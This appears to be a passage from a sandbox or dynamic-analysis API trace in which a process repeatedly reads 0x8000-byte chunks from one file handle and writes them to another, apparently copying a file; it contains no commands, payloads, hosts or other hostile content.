	[0254.067] WriteFile (in: hFile=0x1b0, lpBuffer=0xc00010e000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000fbb74, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesWritten=0xc0000fbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0254.068] ReadFile (in: hFile=0x198, lpBuffer=0xc00010e000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000fbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesRead=0xc0000fbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0254.068] WriteFile (in: hFile=0x1b0, lpBuffer=0xc00010e000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000fbb74, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesWritten=0xc0000fbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0254.069] ReadFile (in: hFile=0x198, lpBuffer=0xc00010e000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000fbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesRead=0xc0000fbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0254.070] WriteFile (in: hFile=0x1b0, lpBuffer=0xc00010e000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000fbb74, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesWritten=0xc0000fbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0254.070] ReadFile (in: hFile=0x198, lpBuffer=0xc00010e000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000fbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesRead=0xc0000fbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0254.071] WriteFile (in: hFile=0x1b0, lpBuffer=0xc00010e000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000fbb74, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesWritten=0xc0000fbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0254.072] ReadFile (in: hFile=0x198, lpBuffer=0xc00010e000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000fbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesRead=0xc0000fbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0254.072] WriteFile (in: hFile=0x1b0, lpBuffer=0xc00010e000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000fbb74, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesWritten=0xc0000fbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0254.073] ReadFile (in: hFile=0x198, lpBuffer=0xc00010e000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000fbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesRead=0xc0000fbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0254.073] WriteFile (in: hFile=0x1b0, lpBuffer=0xc00010e000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000fbb74, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesWritten=0xc0000fbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0254.074] ReadFile (in: hFile=0x198, lpBuffer=0xc00010e000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000fbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesRead=0xc0000fbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0254.231] WriteFile (in: hFile=0x1b0, lpBuffer=0xc00010e000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000fbb74, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesWritten=0xc0000fbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0254.239] ReadFile (in: hFile=0x198, lpBuffer=0xc00010e000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000fbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesRead=0xc0000fbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0254.240] WriteFile (in: hFile=0x1b0, lpBuffer=0xc00010e000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000fbb74, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesWritten=0xc0000fbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0254.241] ReadFile (in: hFile=0x198, lpBuffer=0xc00010e000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000fbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesRead=0xc0000fbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0254.241] WriteFile (in: hFile=0x1b0, lpBuffer=0xc00010e000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000fbb74, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesWritten=0xc0000fbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0254.242] ReadFile (in: hFile=0x198, lpBuffer=0xc00010e000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000fbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesRead=0xc0000fbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0254.242] WriteFile (in: hFile=0x1b0, lpBuffer=0xc00010e000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000fbb74, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesWritten=0xc0000fbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0254.243] ReadFile (in: hFile=0x198, lpBuffer=0xc00010e000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000fbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesRead=0xc0000fbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0254.244] WriteFile (in: hFile=0x1b0, lpBuffer=0xc00010e000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000fbb74, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesWritten=0xc0000fbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0254.245] ReadFile (in: hFile=0x198, lpBuffer=0xc00010e000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000fbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesRead=0xc0000fbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0254.245] WriteFile (in: hFile=0x1b0, lpBuffer=0xc00010e000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000fbb74, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesWritten=0xc0000fbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0254.246] ReadFile (in: hFile=0x198, lpBuffer=0xc00010e000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000fbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesRead=0xc0000fbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0254.246] WriteFile (in: hFile=0x1b0, lpBuffer=0xc00010e000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000fbb74, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesWritten=0xc0000fbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0254.247] ReadFile (in: hFile=0x198, lpBuffer=0xc00010e000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000fbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesRead=0xc0000fbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0254.248] WriteFile (in: hFile=0x1b0, lpBuffer=0xc00010e000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000fbb74, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesWritten=0xc0000fbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0254.249] ReadFile (in: hFile=0x198, lpBuffer=0xc00010e000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000fbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesRead=0xc0000fbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0254.250] WriteFile (in: hFile=0x1b0, lpBuffer=0xc00010e000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000fbb74, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesWritten=0xc0000fbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0254.253] ReadFile (in: hFile=0x198, lpBuffer=0xc00010e000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000fbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesRead=0xc0000fbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0254.253] WriteFile (in: hFile=0x1b0, lpBuffer=0xc00010e000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000fbb74, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesWritten=0xc0000fbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0254.254] ReadFile (in: hFile=0x198, lpBuffer=0xc00010e000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000fbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesRead=0xc0000fbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0254.254] WriteFile (in: hFile=0x1b0, lpBuffer=0xc00010e000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000fbb74, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesWritten=0xc0000fbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0254.255] ReadFile (in: hFile=0x198, lpBuffer=0xc00010e000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000fbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesRead=0xc0000fbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0254.255] WriteFile (in: hFile=0x1b0, lpBuffer=0xc00010e000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000fbb74, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesWritten=0xc0000fbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0254.256] ReadFile (in: hFile=0x198, lpBuffer=0xc00010e000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000fbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesRead=0xc0000fbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0254.256] WriteFile (in: hFile=0x1b0, lpBuffer=0xc00010e000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000fbb74, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesWritten=0xc0000fbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0254.257] ReadFile (in: hFile=0x198, lpBuffer=0xc00010e000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000fbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesRead=0xc0000fbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0254.257] WriteFile (in: hFile=0x1b0, lpBuffer=0xc00010e000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000fbb74, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesWritten=0xc0000fbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0254.258] ReadFile (in: hFile=0x198, lpBuffer=0xc00010e000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000fbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesRead=0xc0000fbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0254.258] WriteFile (in: hFile=0x1b0, lpBuffer=0xc00010e000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000fbb74, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesWritten=0xc0000fbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0254.259] ReadFile (in: hFile=0x198, lpBuffer=0xc00010e000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000fbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesRead=0xc0000fbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0254.260] WriteFile (in: hFile=0x1b0, lpBuffer=0xc00010e000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000fbb74, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesWritten=0xc0000fbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0254.261] ReadFile (in: hFile=0x198, lpBuffer=0xc00010e000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000fbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesRead=0xc0000fbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0254.407] WriteFile (in: hFile=0x1b0, lpBuffer=0xc00010e000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000fbb74, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesWritten=0xc0000fbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0254.409] ReadFile (in: hFile=0x198, lpBuffer=0xc00010e000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000fbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesRead=0xc0000fbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0254.410] WriteFile (in: hFile=0x1b0, lpBuffer=0xc00010e000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000fbb74, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesWritten=0xc0000fbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0254.411] ReadFile (in: hFile=0x198, lpBuffer=0xc00010e000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000fbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesRead=0xc0000fbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0254.411] WriteFile (in: hFile=0x1b0, lpBuffer=0xc00010e000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000fbb74, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesWritten=0xc0000fbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0254.412] ReadFile (in: hFile=0x198, lpBuffer=0xc00010e000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000fbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesRead=0xc0000fbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0254.412] WriteFile (in: hFile=0x1b0, lpBuffer=0xc00010e000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000fbb74, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesWritten=0xc0000fbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0254.413] ReadFile (in: hFile=0x198, lpBuffer=0xc00010e000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000fbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesRead=0xc0000fbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0254.413] WriteFile (in: hFile=0x1b0, lpBuffer=0xc00010e000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000fbb74, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesWritten=0xc0000fbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0254.415] ReadFile (in: hFile=0x198, lpBuffer=0xc00010e000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000fbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesRead=0xc0000fbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0254.415] WriteFile (in: hFile=0x1b0, lpBuffer=0xc00010e000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000fbb74, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesWritten=0xc0000fbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0254.416] ReadFile (in: hFile=0x198, lpBuffer=0xc00010e000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000fbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesRead=0xc0000fbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0254.416] WriteFile (in: hFile=0x1b0, lpBuffer=0xc00010e000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000fbb74, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesWritten=0xc0000fbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0254.417] ReadFile (in: hFile=0x198, lpBuffer=0xc00010e000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000fbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesRead=0xc0000fbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0254.417] WriteFile (in: hFile=0x1b0, lpBuffer=0xc00010e000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000fbb74, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesWritten=0xc0000fbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0254.418] ReadFile (in: hFile=0x198, lpBuffer=0xc00010e000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000fbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesRead=0xc0000fbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0254.420] WriteFile (in: hFile=0x1b0, lpBuffer=0xc00010e000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000fbb74, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesWritten=0xc0000fbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0254.422] ReadFile (in: hFile=0x198, lpBuffer=0xc00010e000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000fbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesRead=0xc0000fbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0254.422] WriteFile (in: hFile=0x1b0, lpBuffer=0xc00010e000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000fbb74, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesWritten=0xc0000fbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0254.423] ReadFile (in: hFile=0x198, lpBuffer=0xc00010e000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000fbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesRead=0xc0000fbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0254.423] WriteFile (in: hFile=0x1b0, lpBuffer=0xc00010e000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000fbb74, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesWritten=0xc0000fbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0254.424] ReadFile (in: hFile=0x198, lpBuffer=0xc00010e000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000fbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesRead=0xc0000fbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0254.424] WriteFile (in: hFile=0x1b0, lpBuffer=0xc00010e000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000fbb74, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesWritten=0xc0000fbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0254.425] ReadFile (in: hFile=0x198, lpBuffer=0xc00010e000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000fbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesRead=0xc0000fbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0254.426] WriteFile (in: hFile=0x1b0, lpBuffer=0xc00010e000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000fbb74, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesWritten=0xc0000fbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0254.426] ReadFile (in: hFile=0x198, lpBuffer=0xc00010e000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000fbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesRead=0xc0000fbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0254.427] WriteFile (in: hFile=0x1b0, lpBuffer=0xc00010e000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000fbb74, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesWritten=0xc0000fbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0254.428] ReadFile (in: hFile=0x198, lpBuffer=0xc00010e000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000fbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesRead=0xc0000fbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0254.428] WriteFile (in: hFile=0x1b0, lpBuffer=0xc00010e000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000fbb74, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesWritten=0xc0000fbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0254.429] ReadFile (in: hFile=0x198, lpBuffer=0xc00010e000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000fbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesRead=0xc0000fbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0254.429] WriteFile (in: hFile=0x1b0, lpBuffer=0xc00010e000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000fbb74, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesWritten=0xc0000fbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0254.430] ReadFile (in: hFile=0x198, lpBuffer=0xc00010e000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000fbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesRead=0xc0000fbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0254.552] WriteFile (in: hFile=0x1b0, lpBuffer=0xc00010e000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000fbb74, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesWritten=0xc0000fbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0254.557] ReadFile (in: hFile=0x198, lpBuffer=0xc00010e000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000fbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesRead=0xc0000fbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0254.557] WriteFile (in: hFile=0x1b0, lpBuffer=0xc00010e000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000fbb74, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesWritten=0xc0000fbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0254.557] ReadFile (in: hFile=0x198, lpBuffer=0xc00010e000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000fbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesRead=0xc0000fbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0254.557] WriteFile (in: hFile=0x1b0, lpBuffer=0xc00010e000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000fbb74, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesWritten=0xc0000fbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0254.558] ReadFile (in: hFile=0x198, lpBuffer=0xc00010e000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000fbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesRead=0xc0000fbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0254.558] WriteFile (in: hFile=0x1b0, lpBuffer=0xc00010e000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000fbb74, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesWritten=0xc0000fbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0254.559] ReadFile (in: hFile=0x198, lpBuffer=0xc00010e000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000fbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesRead=0xc0000fbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0254.559] WriteFile (in: hFile=0x1b0, lpBuffer=0xc00010e000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000fbb74, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesWritten=0xc0000fbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0254.559] ReadFile (in: hFile=0x198, lpBuffer=0xc00010e000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000fbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesRead=0xc0000fbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0254.560] WriteFile (in: hFile=0x1b0, lpBuffer=0xc00010e000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000fbb74, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesWritten=0xc0000fbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0254.560] ReadFile (in: hFile=0x198, lpBuffer=0xc00010e000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000fbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesRead=0xc0000fbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0254.560] WriteFile (in: hFile=0x1b0, lpBuffer=0xc00010e000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000fbb74, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesWritten=0xc0000fbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0254.561] ReadFile (in: hFile=0x198, lpBuffer=0xc00010e000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000fbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesRead=0xc0000fbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0254.561] WriteFile (in: hFile=0x1b0, lpBuffer=0xc00010e000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000fbb74, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesWritten=0xc0000fbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0254.562] ReadFile (in: hFile=0x198, lpBuffer=0xc00010e000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000fbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesRead=0xc0000fbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0254.562] WriteFile (in: hFile=0x1b0, lpBuffer=0xc00010e000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000fbb74, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesWritten=0xc0000fbb74*=0x8000, lpOverlapped=0x0) returned 1
